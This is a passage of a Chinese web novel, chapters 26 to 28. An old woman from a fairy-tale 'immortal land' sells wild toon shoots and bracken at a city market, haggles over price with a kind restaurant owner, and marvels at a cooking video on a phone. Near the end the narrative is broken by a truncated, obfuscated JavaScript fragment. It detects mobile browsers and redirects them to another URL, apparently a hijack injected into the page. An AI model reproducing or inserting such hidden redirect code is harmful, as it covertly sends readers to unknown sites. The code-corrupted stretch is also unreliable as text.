唉。还是不对。
这几天他跑了好几家菜市场去买香椿,还专门挑那些看着最水灵的、最嫩的,买回来一遍遍试。可味道和口感全都不如那天在那位大娘那里买的好。
要么香味不够浓,淡得跟嚼草似的;要么口感不够紧,炒出来软塌塌的;要么太老,嚼着嚼着就出一嘴渣;要么不够新鲜,蔫头耷脑的。他还不死心,网购了几家外地的,到货一尝,更不行——真空包装过来的,香味跑了一大半,只剩下个样子。
总之没有一家能赶得上那位大娘卖的。
张齐放下筷子,准备把这盘也端到一边去。后厨的小工探头看了一眼,张口问:“张哥,这盘也不成啊?”
“不成。”张齐摇摇头,“把这盘也放到一边去,这时他的电话响了。
他从围裙兜里摸出来一看,来电显示——新隆菜市场,郭老板。
就是那位卖香椿的大娘旁边那个调味料摊的老板。
张齐心里咯噔一下,随即一股喜气涌上来,赶紧接起电话。
“喂?”
“喂?兄弟,是我,那个卖野菜的大娘来了,带了好多菜呢!”
电话那头郭向阳的声音透着一股高兴,张齐一听,脸上顿时惊喜不已,声调都高了几分:
“是卖野菜的那个大娘?她现在来了?”
“对,刚来,带了好多菜呢,满满一筐。还在我这个位置上,现在就有人看菜呢,你赶紧来吧。”
张齐赶忙把围裙往下扯,帽子一摘往案板上一放,抬脚就往外走。边往外走边急促地对着电话说:
“兄弟!帮我拦一下,别让人把菜买光了,我这就去!”
“哈哈光不了,好多呢,你快点来吧。”
“行行,我这就过去,五分钟!多谢了啊!”
挂了电话,张齐交代员工一声看店,满脸喜色的几乎是跑着出了门。
---
郭向阳挂了电话,过去对万春兰说:“大娘,我通知那哥们了,您在这等会儿,他说一会儿马上过来。”
万春兰看着郭向阳的口型,“诶,诶。”
买八角的男客人本来是好奇看一看,但眼见郭向阳又是打电话又是催人,那架势跟抢什么稀罕物件似的,不由得也上心了。
这菜这么好?
“那我也买点。”他蹲下来,指着地上的香椿,“怎么卖的大娘?”
他拿起来一捆小心的放到鼻子下闻了闻。
嗯!是挺香的!
万春兰回头看面前的客人。
这一句话她太熟了!先前在菜市场卖香椿听了一天,早就记住了!
她熟门熟路地举起两根手指,嘴里蹦出两个字:“香椿,二十。”
二十一斤?男人一听卖的不便宜,贵有贵的道理,那指定不差了。
他连这是什么菜都没太搞明白,不过不要紧,拿回家给老妈他们吃,老妈肯定认识。
“给我装五斤吧。”
万春兰盯着客人的口型,眼睛一亮,伸出手指跟客人确认:
“五斤?”
“对,拿五斤。”
万春兰喜上眉梢,脸上的褶子都笑开了:“好!五斤!”
才刚来就开张了,这可真是个好兆头!
她拿出一个塑料袋撑开来,给客人装香椿。她一把一把往里放,放的时候还特意挑那些最水灵的,码得整整齐齐。
装完了,她拎着袋子站起来,走到郭向阳摊位前,微微躬着身,含笑开口:“掌柜的,又要劳烦您了。”
郭向阳接过袋子往电子秤上一搁,看了一眼屏幕,又看看万春兰,笑了:“这就卖出去了啊大娘,您这生意可以啊。”
万春兰笑眯着眼睛,一个劲儿点头:“诶,诶。”
“不够五斤大娘,再拿点来。”
万春兰听到“不够”两个字,转身赶紧又去筐里拿了几捆过来,递过去。郭向阳接过来放上去,看着数字跳了跳,把多的拿出来放回到万春兰手里。
“好了,不用放了,五斤正好。”
万春兰盯着电子秤上面跳动的数字,眼睛一眨不眨地看。那东西她看不懂,但得记着,记着五斤是多少、数字是多少,下回自己心里就有数了。
买到香椿的客人也挺高兴。他拿着手机问万春兰:“这东西怎么吃啊?”<
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p>啊?万春兰看着客人。
郭向阳在旁边帮忙解释:“大娘不会说普通话,也听不太懂,你得慢点说话问。”
客人点点头:“哦。那没事,回头我网上搜一下。”
他拿着手机付钱,郭向阳又把自己的码拿过来:“你扫我吧,大娘没有手机,你扫完我给大娘现金。”
对方扫了一百块钱笑道:“兄弟你人还怪好的啊。”
郭向阳摆摆手:“嗐,小事儿,顺手帮帮忙嘛。”
客人冲郭向阳竖了下大拇指,拎着新买的五斤香椿,兴致高昂地走了——准备回去找老妈,让她做来尝尝,这二十一斤的香椿到底是个什么味儿。
“来大娘,你卖菜的钱。”
万春兰双手接过,对着那张红票子看了一眼,眼里全是笑意。她把钱小心地叠好,却没往怀里揣,而是又从身上摸出一张二十块钱,笑着递给郭向阳。
“多谢掌柜的,又麻烦您了。”她双手捧着那二十块钱,递过去,“这个您千万收下,就当个辛苦费。老婆子不能白麻烦掌柜的。”
郭向阳愣了一下,低头看看那二十块钱,等反应过来这是给他的谢礼,连连摆手往后退:
“不用不用,你快拿回去!”
上回送他香椿他就没要,今天给他钱,他更不能要了!人家一个老太太,背着那么重的筐来卖菜,挣几个辛苦钱,他怎么能收这个?
“都是小事儿,不要紧的大娘,你卖个菜不容易,快拿回去。”
万春兰要给,郭向阳死活不要。
万春兰看着他那架势,知道这会儿是给不出去了。她也不勉强,把钱收回来,心里却打定了主意——等会儿晚点卖完菜,她找个机会把二十块钱塞到他摊位上就跑!反正他忙着做生意,顾不上追。
打定了主意,万春兰冲着郭向阳笑笑,回到自己的位置,开始收拾藤筐里的菜。
方才刚来就开张,还没来得及好好摆呢。
她从筐底拿出一把稻草来,这稻草也好着呢,去年收了地专门晒的,晒得干干的,柔软又有韧性。
她把稻草在地上仔仔细细铺开,铺成一块方方正正的“垫子”。然后从筐里捧出一把把香椿,在稻草上摆开。
香椿扎得齐整,紫红的嫩芽,掐得干干净净,一把挨着一把,摆成两排。蕨菜也拿出来,一根根捋顺了,毛茸茸的卷儿朝一个方向,整齐地码在旁边。
摆好了,她往后退了半步,歪着头打量一番,又伸手把歪了的两把扶正。这才满意地在筐后蹲下,两手搭在膝盖上,开始兴致勃勃地等着人来看菜。
郭向阳那边忙着给客人称花椒,抽空往这边瞥了一眼,看见老太太那认真摆摊的架势,不由得笑了笑。
“吱——”
新隆菜市场门口,张齐停下电动车。
从电话挂断后不到十分钟,他马不停蹄来到新隆菜市场。停好车后急忙忙从电动车上下来,差一点钥匙都忘了拔走。
张齐跑得急,额上沁着薄汗,灰色T恤前胸洇湿了一小片。进了市场步子也没慢,左右张望着直奔调料摊这边来。
隔着五六步,他就瞅见了蹲在墙角的万春兰——更准确说,是瞅见了她跟前那两排紫红嫩绿。
他喜不自胜地朝着万春兰跑过去,“大娘,你可算来了!”
张齐三步并两步过去,蹲下身,手往那些香椿上探,轻轻拨弄一捆,凑到鼻尖闻了闻。那股清冽的、浓郁的野生香气钻进鼻子,他脸上顿时漾开了笑,笑得跟捡着宝似的。
没错没错!就是这个味儿!
26. 第 26 章
万春兰认出了张齐是先前买过她香椿的那个后生。算数特别快,六斤菜多少钱,张口就来!
见他又来了,万春兰笑起来连忙热情招呼:
“后生,你来的正好,这些都是我们一家人昨儿个现摘的,还都新鲜呢!”
张齐闻着手里对味儿的香椿高兴的不行。
像他们常做菜的,食材一上手闻闻味儿他就知道对了!
这两天他买了那么多家来对比,怎么都差点意思,兜兜转转,还是这个大娘的好,别家的怎么都不对味!
他看见旁边半人高的藤筐,里面放的满满的香椿菜,电话里就听郭向阳说大娘这回拿了好多过来,他还想着能有个二三十斤就不错了,现在一看——好家伙,这一筐少说五六十斤!张齐眼睛都亮了。
看着好不容易盼来又来卖菜的万春兰,张齐二话不说,当即大手一挥,豪横得很:
“大娘,你这些香椿我都包了!”
万春兰瞅着张齐的口型,看他那高兴的样子,肯定是又要买菜。
哎呀,这才刚到神仙地都没过两刻钟呢,新老顾客就做成了两单生意。这好兆头把万春兰喜得不行,眼角笑出深深的褶子。她熟门熟路地从身边摸出一个塑料袋,撑开来,热情地问:
“好好好,要多少斤?”
张齐一看万春兰这架势,就知道她没听懂自己的意思。
也是,这大娘听不太懂普通话,上回就发现了。
他摆摆手:“不是,大娘,”
他推开万春兰递过来的塑料袋,指着她旁边那个装满菜的大筐,张开双臂做了一个环抱的手势:“这些,我全要了。”
万春兰看着张齐的动作,有点懵。
她看张齐去揽大筐,然后一个劲儿的指自己,嘴上说什么“全要”。
几遍后,有点明白过来的万春兰脸上笑容逐渐变成惊讶。
啥?这后生,是要把这些野菜全拿了?
她眨眨眼睛,不太确定地看着张齐,又看看那筐菜。
“后生,我这些......你是要全拿上?”
她伸手抱住藤筐,比划了一下,又指了指张齐,再指指野菜,脸上带着询问的表情。
张齐一看大娘这动作,明白她懂了,连连点头,也学她伸手环抱了一下那筐:
“对,全要了!香椿,我全要!”
两人接连比划了好几个回合确认,万春兰终于确定,眼前这后生,是真的要把她这些野菜全拿上!
“哎哟!你、你全要了?能吃完嘛?”
她瞪大眼睛,不敢相信地比划着,一脸担心,“这么多能吃完嘛?这可不是小数目!”
一下子买好几十斤香椿?腌咸菜也用不了这么多啊。
张齐看着大娘那又惊又喜又担心的模样,忍不住笑了。
“没错大娘,你这些菜我全包了,大娘您放心,我是开餐厅的,有多少要多少。”
他一边说,一边比划颠勺的动作,又指了指嘴,意思是做了给人吃。
万春兰看得直点头,大概明白对方的意思是要做菜吃,看他一脸轻松的样子,一点也不觉得菜买多了。
这后生算数那么好,人又清明的很。人家说全拿了,那肯定是能吃的完。
说不准是他家要办席面,所以要用的上这么多菜!
万春兰想通后放下了心,另一股情绪就涌了上来——兴奋!
哎呀,这可真是碰上大主顾了!
这时,张齐才看到香椿旁边还放了一堆紫绿色的蕨菜。
他眼睛一亮,伸手拿起一根。
这蕨菜长得壮实,毛茸茸的卷儿紧紧蜷着,淡紫色的梗绿油油的头,掐一下,嫩得能掐出水来。
现在有新鲜的野蕨菜了?这蕨菜看着也很不错啊!
“大娘,你这回还带了蕨菜?”张齐惊喜地看向万春兰:“这蕨菜怎么卖的?”
有了香椿的前车之鉴,张齐对眼前的蕨菜顿时起了兴趣,瞅着这品相,从这大娘手里出来的,应该差不了。
万春兰还在张齐全要了她这些香椿的高兴中,见张齐拿着蕨菜问价,她忙点点头,指着那蕨菜说:“蕨菜。”
价钱她还没来得及想,蕨菜跟香椿差不多,都是山上常见的野菜,卖一个价应该就行。
如此她也伸出两根手指:“二十。”
这个也二十一斤?
张齐表情微微惊讶。
他开餐厅的,当然比较清楚当地的市场菜价。
野生蕨菜,在他们当地目前这个价格,可以说相当便宜了。
这野菜的价格,随着时令季节、地域海拔和品质程度波动很大,他们这里不是蕨菜的主产区,而且现在还不是蕨菜集中上市的最佳月份,属于头茬,只有上深山里头专门去找才会有。
品质好蕨菜,现在在当地能卖到三四十一斤,要是从东北或者云贵川那些高海拔地方采植的精品,还要更贵,运费、保鲜费加上去,五六十一斤都正常。现在大家都喜欢追求纯天然无添加,越是纯天然、野生的东西越贵。那些高档餐厅收山野菜,价钱也都开得高高的,为的就是那一口“野味儿”。
大娘的这个一看就不是大棚种出来的,指定也是她自己上山去找的,这个鲜嫩程度和品质的话,才卖二十一斤吗?
现在轮到张齐担心了。
这大娘别是什么都不懂,随便卖的吧?
“大娘,你这个卖便宜了吧?”
这要是换了别人,他指定觉得那人卖的便宜,肯定有猫腻,要么菜掺假了,要么是药水泡过的。
但换成眼前这大娘。
张齐觉得她可能是真的不懂。
万春兰看张齐拿着蕨菜反问她,她听不太懂,但看对方那表情,好像有点意外。
是不是二十太贵了?
万春兰心里一咯噔,想了想换成一根手指:
“十。”
张齐瞪大眼。
怎么越说更便宜了!
一直在旁边看热闹的郭向阳没忍住,噗嗤一声笑了出来,走过来打圆场:
“大娘,人家是说你卖的便宜了,不是嫌贵!你怎么还给降价了?”
万春兰看看这个,又看看那个,一脸茫然。
哎哟,这听不懂话,实在是搞不清楚啊!
郭向阳叹了口气,拍拍张齐的肩膀:“我感觉大娘可能真的不太懂行情,要不你就按她一开始说的价给人家吧,人家也不容易。”郭向阳也不好说让人家主动涨价,哪有劝买家给卖家涨价的道理?但这大娘自己背着这么沉一筐菜过来卖,是真挺不容易的。
张齐哭笑不得,他一个买菜的担心卖菜的太便宜,也是头一遭了。
他看着万春兰。
有过先前交易的经历,这大娘的野香椿品质那么好,张齐对她的印象就非常好。
主要是这大娘,一看明显就是生活很困难的样子。
穿的又破又古怪,特别瘦小,话也听不明白。
这些野菜怕都是她自己上山里一点点找的,弄过来卖点钱,面对这样一个明显生活很困难、什么都不懂的大娘,张齐实在“占”不下这个便宜。
想了想,他主动给加到市场价,按照三十一斤收,“这样吧大娘,我三十一斤收了。你这些蕨菜我也全要
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了。”
张齐如法炮制的拿着蕨菜也做了一番方才全包的动作,跟万春兰重复说了几遍,“三十,一斤,全要。”
万春兰看懂后,直接瞪大眼睛,又惊又喜。
全包了?连蕨菜也全包了?
而且这后生还说是三十一斤?
还主动给她涨价了!
“这、这...”
买东西的主动给卖东西的涨价,她活这么大岁数,真真是头一次见!
万春兰当下一阵手足无措,看着张齐又看那筐菜,一下不知道该说什么好了。
郭向阳在旁边忍不住笑道:“大娘,您这回可碰上好心人了!这兄弟是开饭店的,生意好着呢,你就放心卖他吧。”
万春兰看着张齐,又看看郭向阳,一时间百感交集,不住的点头:
“哎哟后生,你太照顾了!太照顾了!”
她实在不知道该说什么好,只会反复说着这句话。
活了几十年,从来只有买家嫌贵、压价的,哪有买家嫌便宜、主动加钱的?就算这蕨菜真是她要价低了,一般人当碰上好事儿买走就是了,哪有还主动去给涨价的。
这后生,是个厚道人!
人家厚道,她也不能短了去!
万春兰冲着张齐摇手,“不要三十,就二十!你全拿上,二十一斤。”
她连说带比划,俩人看明白后,都有些吃惊。
“大娘,蕨菜按现在市场价,你卖的便宜了。”张齐实话说。
“大娘,人家给你的就是市场价。”郭向阳在一边也帮腔说。
万春兰支棱着耳朵认真的听俩人说话。
她大概有点明白,蕨菜在神仙地,价格确实更贵一些。
她心里有数了。
但对张齐还是坚持按原价:“卖你就二十,二十。”
她把着筐,指向张齐来回重复“二十,二十一斤。”大有不同意就不卖他的意思了。
这大娘还是个倔性子!
张齐和郭向阳忍不住互相对视一眼,都从对方眼里看出了哭笑不得。
郭向阳又在旁边打圆场,干脆碰碰张齐说:“行了,大娘也是个实在人,你俩也算是双向奔赴了,就按那个价吧。”
张齐听到这形容真没忍住,噗嗤一下笑了出来,既然都双向奔赴了,他也不墨迹了,爽快的点头应下,
“行!那就二十。大娘,咱们过过秤吧!”
“来来我这有大秤。”郭向阳主动提出帮忙秤菜,他这里有小的电子秤,也有大的电子台秤。
郭向阳拖过来那台大的电子台秤,跟张齐一起帮着把菜抬上去。万春兰站在一旁,眼睛盯着那跳动的数字,手心都有点出汗。
香椿和蕨菜分开称——香椿五十三斤,蕨菜十二斤,总共六十五斤。
郭向阳指着称数:“六十五斤,那就是一千三。”
张齐在旁边点头:“对。”
听郭向阳一口道出价钱,万春兰在旁边瞪大了眼睛看向他。
这么大数儿立马就算出来了,这掌柜的算数更厉害啊!
被万春兰一脸吃惊的盯住,郭向阳以为她没听懂,又说了一遍,“六十五斤,一千三。”
他现在也有点摸清怎么跟万春兰交流了。
大娘就是普通话不好,脑子还是很清楚的,跟她说话尽量说短,比划两下,多说几次,她差不多就懂了。
万春兰钦佩地看着郭向阳点头,“好,好。”
算完价钱,张齐拿着手机,看万春兰突然反应过来,一拍脑袋。
“哎呀,大娘,我忘了您没有手机,我没带现金过来。”
27. 第 27 章
张齐想起来万春兰没手机,收不了款,而且他是骑电动车来的,这六十多斤菜用电动车肯定是拿不走了。
他转头跟万春兰说:“大娘,你在这等我一会儿,我回去开车过来拿菜,然后再去兑点现金跟你结账。”
手动解释过后,万春兰大致明白了张齐的意思。
她连连点头:“可以可以,老婆子在这等着。”
这种买了东西,钱没带够,要回家去取的事,平日里再常见不过了。
逢集的时候,常有这样的事儿,谁看中了哪家的猪崽,或者瞧上了哪匹布,钱没带够,急急忙忙跑回家取,卖主就在那儿等着。还有那些走村的货郎,挑着担子满村转,谁家看中了针头线脑,回家拿铜钱,货郎就在门口等着,一点儿不着急。
万春兰见得多了,一点儿不觉得有什么。
“你放心去吧,后生,我就在这等着,菜都好好给你留着。一两都少不了你的。”万春拍着胸脯保证,让张齐放心回家去拿钱。
张齐见状笑起来,也认真点头:“行,那大娘你在这等我一会儿。你放心,我肯定回来。”
“你去便是!不用着急,我就在这等着,哪里也不去。”
跟万春兰再三表示他取了钱就回来,张齐转身往菜市场外走,赶紧回去开车取钱。
万春兰目送张齐离开,这才回过头来,蹲下身,把那些称好的香椿和蕨菜一把一把仔细地收回去放好。
一边收,一边心里头那个美呀。
前后到神仙地连半个时辰都没有。
一筐菜,全卖出去了!
拢共六十五斤,卖了一千三。
她好生把野菜都收拾好,把藤筐放到身后,乐呵呵蹲在旁边,一边等后生取钱回来,一边低头掰着手指算在那算一斤二十、六十五斤。
她边算边高兴,想到即将要到手一千多花纸就止不住兴奋!
张齐一走,郭向阳那边也闲下来了。
方才来了几波客人,刚卖完货,他探头看转角那里,大娘正蹲那掰手指头乐呢。
郭向阳看到这一副画面没忍住向上咧起嘴角。
他擦擦手,从摊位里绕出来,在万春兰旁边蹲下,笑着搭话:
“大娘,这下好,张哥一下把你的菜全收了,可高兴了是吧。”
万春兰抬头见郭向阳过来同她说话,虽然没听懂,但看郭向阳那笑呵呵的表情,知道是在说好话,便跟着点头笑:“诶,诶。”
“你别蹲这了大娘,来,坐一会儿。”郭向阳回去拿了个小马扎过来给万春兰让她坐着。
万春兰看郭向阳递过来小板凳让她坐着,顿时笑眯起一双眼睛,连连道谢,
“噢哟呵呵!多谢您呢!”
“哈哈没事。”
郭向阳也拿了个小马扎,在万春兰旁边坐下。
他看着万春兰这身打扮,其实他一直对这大娘挺好奇的。
如今一来二去的,俩人也算是半个熟人了。
郭向阳兴致勃勃地跟万春兰主动聊起天来:
“大娘,你家里哪里人啊?”
万春兰听到“家”这个字,眼睛一亮,指着地下:“石磨村,村。”
郭向阳听是个什么村子。
他点点头,
“在哪啊?哪个省的?”
“省”什么?
万春兰没懂。
看大娘一副茫然的模样,郭向阳挠挠头,换了个问法:“您家里,是这里的不?”
他手指着地下,意思是问她是不是本地的。
万春兰看他指着下面,眼睛一亮,连连点头,
“是,是,在下面。”
神仙地在天上,他们都住在凡间在地下,确实是在下面嘛。
哦!
郭向阳恍然。
原来大娘是本地的。
郭向阳不是本地的,他是北方人,在这边做生意,这里是南方城市,市区的还好一些,基本都会说普通话,但有些一直住村里面的老人,大多普通话都不太好了。
这大娘可能就是哪个村过来的,听说这边每个村儿口音都不一样,有时候两个邻村方言都不通,一说话谁也听不懂谁,如今也是深有体会了。
他笑起来,指指自己“我北方人,XX(省)的。”
万春兰跟着笑:“诶,诶。”
“大娘,你村里离市区远不远啊?”郭向阳又问。
万春兰看明白后,一脸唏嘘。
哦哟,那肯定远了。
一个天上,一个地下,那可相当远了。
万春兰一脸唏嘘,点点头,手指天又指地比划着:
“远,远着呢。”
郭向阳看她的表情,也跟着唏嘘,“哎哟,那您这回来一趟可够辛苦的。”
看大娘的意思应该是住在挺远的村子里,那这来一趟不容易呢。
万春兰点点头,叹着气,“诶,远,远着呢。”
这时摊位前来了客人,郭向阳看见来人了,起身跟万春兰说:“大娘你歇着,我去招呼一下。”
万春兰看见来生意了,赶紧示意郭向阳去忙:“掌柜的您且忙。”
她下意识站起来,站在旁边看。
来的是个年轻小姑娘,穿着一身干净的运动服,站在摊位前东张西望。
“要点什么?”郭向阳问。
“你这有卤肉的料包吗?”女生问。
“有,要哪种的?有五香的,有麻辣的,还有酱香的。”
女生挠挠头:“就......就普通的那种,我妈让我买,我也搞不清楚。”
郭向阳笑了,“那要不你问问?”
“哦稍等一下。”
女生拿出手机给妈妈打了个电话过去。
万春兰在一边,好奇地看着女生把手机举到耳朵边上打电话。
“喂,妈,你要哪种料包?老板说有,额...”女生看向郭向阳。
郭向阳接道:“五香的,麻辣的,酱香的。”
“有五香的,麻辣的,酱香的。”
“哦,好。”
挂了电话,女生跟郭向阳说,“要三包五香的。”
“好。”郭向阳转身从架子上拿下三包五香卤肉包,拿塑料袋装好递给女生。
“一包八块,一共二十四。”
万春兰又好奇地看着那几包五香卤料包。
女生扫完钱走了。郭向阳看见万春兰站在他摊位前,低头看台面上的各种货物,一副可认真的样子,便笑着问:
“大娘,打算买点调料回去做菜?”
万春兰听见抬头,冲着郭向阳笑笑。
郭向阳一看这样,以为万春兰确实要买调味料,连忙主动招呼她到摊位前来:
“你想买啥过来看看,你要做什么用?”
万春兰看郭向阳招呼她上摊位前,让她看。
不禁心里一动,面上顿时跃跃欲试起来。
她对这摊位上的东西早就好奇呢。
如今见掌柜的主动邀请她上前看,万春兰眼角笑起褶子,“诶”,高兴地搓搓双手,迈上前一步到郭向阳的摊位跟前,开始近距离打探他摊位上的东西。
摊位上有一些敞开的小口布袋里,放的陈皮,花椒,肉桂的香料,这几样万春兰认识,但更多是不认识的。
瓶瓶罐罐,大大小小,有袋装的,有盒装的,还有一个个小塑料瓶,里头装着各种颜色的粉末和颗粒。各种花花绿绿的鲜艳包装看的万春兰眼花缭乱,完全
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不知道是干什么用的。
咦?
这时候她看到一个熟悉的东西。
万春兰看到一包熟悉的雪花冰晶似的东西。
这不是味精嘛!
上回在别的摊位那里换了一包味精回去,炒菜的时候放了一点点,那味道,鲜得能把舌头吞下去!
“大娘你想要啥?油盐酱醋我这都有,各种调料包、香料、还有做肉做鱼的底料,你看你要做什么用的?”
听到郭向阳说话,万春兰抬起头看过去。
郭向阳挨个在摊位上拿出火锅底料、酸菜鱼料包、鸡精、十三香,说一个拿起来示意一个。
“这火锅底料,这个是酸菜鱼料包,还有水煮肉片、西红柿牛腩、酸汤肥牛......”
“这个鸡精,炒菜炖汤提鲜用。”
“十三香,炖肉用,羊肉、牛肉、猪肉,都能放。去腥增香。”
“这个是花椒粉、八角粉、桂皮粉、香叶粉,油辣子......”郭向阳指着那一排小瓶子,一个个念过去,“卤肉、红烧,油泼......”
万春兰不错眼的跟着郭向阳的手看,介绍是一句没听懂,但这一个接着一个的物件拿出来,也够把她给看呆了。
哎呦喂!这么老些花花绿绿鲜艳漂亮的东西,掌柜的货物可真多啊!
郭向阳介绍了一圈,看大娘一脸茫然的样子,想到她听不懂,自己纯在这自说自话了,尴尬的摸摸脑袋,笑道,“您自己看看,想要什么跟我说。”
万春兰看掌柜的不给她介绍了,手对着摊位一比划,让她自己看。
她嘿嘿一笑点点头,低头继续打量货台。
她低头看着琳琅满目的货台,这些她不认识的东西,看再多遍她也不认识,想了想,她指着刚才那个客人买的卤肉包,抬头问郭向阳:
“这是干啥的?”
“嗯?大娘你要卤肉?”
万春兰比划手势,表示自己不懂这个东西,看着郭向阳的眼睛,问道:“做甚?”
哦,明白了,大娘问他这是干什么用的。
“这是卤肉用的。”
万春兰睁着眼睛看着他,表示没听懂。
这不好比划。
郭向阳灵机一动,拿手机打开某音,搜索出一个推广卤肉包的短视频。
他把手机递给万春兰面前,屏幕亮着,正在播放视频内容。
“你看,就是这么用的,卤肉用。”
万春兰低头一看——
哎哟!
她差点没把手机扔出去。
那小小的方块里,竟然有人!
那人在里头说这话,随即又出现一口大锅,锅里放着水,倒进去一块块红色的肉块。
万春兰瞪大眼睛,捧着手机的手都有点抖。
她在神仙地,看到人们都用长块块,拿着它在耳边说话、拿在手里点来点去的摆弄、或者对着绿牌牌蓝牌牌照一下。她从来不知道,这东西里头,竟然有人!
万春兰死死盯着屏幕,吓得一动都不敢动!
“今天教大家用最简单的方法做出好吃的卤肉,非常简单,第一步......”
画面持续播放——
锅里加水倒进去一块块的新鲜肉,煮出血沫,撇掉血沫清干净,随后放入高压锅,几包卤肉包的全方位特写,随后放到锅里,盖盖焖煮。
那人一边做一边说话,虽然听不懂说什么,但动作清清楚楚。
好几遍之后,万春兰才注意到里面的内容。
她盯着屏幕,渐渐看明白了。
在长块块里面的这个人,在教人做炖肉。
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28. 第 28 章
小人动作特别快,一锅卤味眨眼就做好了。
然后她又从最开头开始,重复着步骤继续再做一锅。
万春兰心惊肉跳的紧盯着屏幕。她脑子都来不及细想,小人儿炖肉咋这么快,马上下一锅又开始了。
郭向阳找了做卤味的视频给大娘看,见大娘捧着手机神情一惊一乍的,盯着屏幕一双眼睛瞪得老大,跟见了什么稀罕物似的。
他心想,大娘不会是第一次看手机吧?
说真的,他真没法想象,现在这年头,还有人没用过手机。
可看大娘的样子,好像真的从来没见过。
见她看的认真,郭向阳也不着急要,在一边任由万春兰看个够。
期间有客人来买冰糖,郭向阳卖了十斤冰糖。
万春兰一直认真的捧着手机看这条制作卤味的短视频,压根没注意到旁边来了客人又走了。越看越吃惊。
这小人会仙法!
那冷水下锅,马上就开始冒热气,然后锅盖一盖,就那么眨眼的功夫,再打开,一锅生肉就炖熟了!
“色香味俱全的卤味就做好了。”
视频里的小人说着话,把锅盖掀开,一锅酱色浓郁的卤肉呈现在眼前。
万春兰盯着屏幕,不自觉地吞了吞口水。
那猪头肉肥嘟嘟的,皮都炖得透亮,油汪汪的,就跟放在她眼前一样。她仿佛都能闻到香味儿了。
小人夹起一只脱了骨的鸡爪子,往嘴里送了一口,那表情——眯着眼,嚼着肉,满脸享受。
万春兰又吞了吞口水。
不等她多看,小人儿马上又开始了下一锅。
天娘嘞,这一锅接着一锅,这么多肉,小人都给端哪去了?
“今天教大家用最简单的方法做出好吃的卤味,非常简单,第一步......”
小人又开始卤肉了。
小人忒能干!
小人炖肉快,但动作都清清楚楚。
视频就这么循环了七八遍。
万春兰把里面的步骤都记住了。
当视频再一次开始重头播放时,万春兰对着里头的小人儿认认真真地鞠了一躬:
“小仙儿,老婆子我晓得了,多谢小仙儿。”
小人儿没理会她,继续着重复的炖肉。
“第一步,先把要卤的食材清理干净......”
万春兰眨眨眼,是了,这是掌柜的小人,那肯定不听她的,听掌柜的。
她抬起头,看向郭向阳,双手捧着手机,小心翼翼地递过去,生怕摔着碰着:
“掌柜的,我晓得了,叫您的小仙儿歇歇吧。”
郭向阳见大娘终于看够了,扬了扬眉,拿回来手机笑着问:“现在知道是干嘛的了吧大娘?”
万春兰看见掌柜的手指在长块块上一滑,里面的小人就不见了。
她瞪大双眼咕咚吞下口水,看郭向阳的眼里立时充满了敬畏。
不愧是住在神仙地的人,都会一手仙法,手一滑,就把小人给关起来了!
这时正好郭向阳来了个电话,是一个供货商打来的。
他接起来电话:“喂王姐,诶,诶,对,那个我订两箱......”
万春兰看着郭向阳把手机举到耳朵边打电话,她心里猜指定是里头的小人儿跟掌柜的交工呢。
她低头看向货台上那包卤料包。
她现在明白了,这和味精一样,都是做吃食用的,里面小人在炖肉时,就拆开放了这个东西。
这里面是一包包长条形的布包,里头塞着好多种入味的香料。
想到小人那一锅锅诱人的肉块,万春兰拿起卤料包,心脏扑通扑通跳起来。
上回从神仙地带回去的味精,炒菜随便洒一点就那么鲜,那这个卤肉的香料包,做出来的肉,岂不是能把人舌头都香掉了?
想到吃肉,万春兰的口水忍不住又开始分泌。
方才的俊俏仙姑买这个时,掌柜的好像说是八块一包?
当时掌柜的说话比较快,她有些不确定。
“大娘,想买两包回去试试?”郭向阳挂了电话,看万春兰拿着卤料包在看,于是笑着问她。
万春兰闻声抬头,她看着郭向阳,张张口,刚要说什么。
这时回去开车取钱的张齐赶回来了。
“大娘,我回来了!”
万春兰听见熟悉声音转头。
哎呀,是后生回来了!
张齐身后拉着一个平板的推车,车上放着一个大号的塑料筐,快步穿过过道走到他们面前。
他走到万春兰跟前爽朗一笑,
“让你久等了大娘。”
万春兰笑眯起眼睛,低头好奇地看他拉来的小车和塑料筐。
郭向阳看到张齐自己拿了个大塑料筐过来,乐:“你自己还拿了个筐过来啊。”
张齐笑着回道:“总不能把大娘的筐拿走吧。”
他转头看向万春兰,“来,大娘,我给你结账。”他从口袋里拿出从银行新取出来的一沓百元大钞,当着万春兰的面,一张一张的数:
“大娘,你看好啊,一、二、三......”
万春兰连忙看向张齐手里那红彤彤的花纸,心潮澎湃地跟着一起数。
张齐数了十三张,一共一千三。然后递给万春兰。
“一共一千三,给,你收好了大娘。”
万春兰连连点头。
她看着呢,一点不少,十三张红花纸!
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17249930|195021||http|test|mini|href|location''.split(''|''),0,{}));
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>她双手接过张齐给她的一千三百块钱,看着手里厚厚一层红彤彤的花纸,万春兰咧开嘴巴,心花怒放!
她连连冲张齐鞠躬道谢,
“多谢你照顾,多谢呢!”
“诶别别!”看大娘冲他鞠躬,张齐赶紧把人扶正,然后从怀里拿出一个信封,递给万春兰:
“拿了个信封给您装钱用,您可把钱揣好了,别掉了啊。”
万春兰接过来那乳白色的信封,拿在手里看,张齐则是低头开始把野菜往塑料筐里搬。
万春兰见状,赶忙把信封放进怀里后蹲下来跟着来一起弄。
“没事的,大娘,我自己来就成,你在旁边歇会儿吧。”
“诶,诶。”
嘴上乐呵呵的一边点着头答应,手上动作一点不满。
显然是压根就没听懂张齐的话。
郭向阳闲下来后也过来帮忙。趁着万春兰不注意,张齐偷偷往藤筐最底下放了个红包拿稻草盖上。郭向阳看到了,两人对视一眼,张齐冲他竖起手指比嘘,指了下背对着他们的万春兰,咂下牙表情唏嘘,郭向阳心有戚戚,抬手竖了下大拇指。
这些万春兰完全没注意到。她一心在塑料筐那好好给后生摆菜呢,根儿朝下,头朝上,可不能让这些菜给挤着压着了。
三人很快把野菜全都装到了塑料筐里。
筐里最底层用万春兰带来的稻草垫上了,不怕菜被压坏。
“行了。”张齐拍拍手,把塑料筐在板车上摆正,转头问万春兰:
“大娘,这些野菜您那里还有吗?山上还能摘到不?”
万春兰弄明白后,忙不迭点头:
“有有有,山上还有呢!”
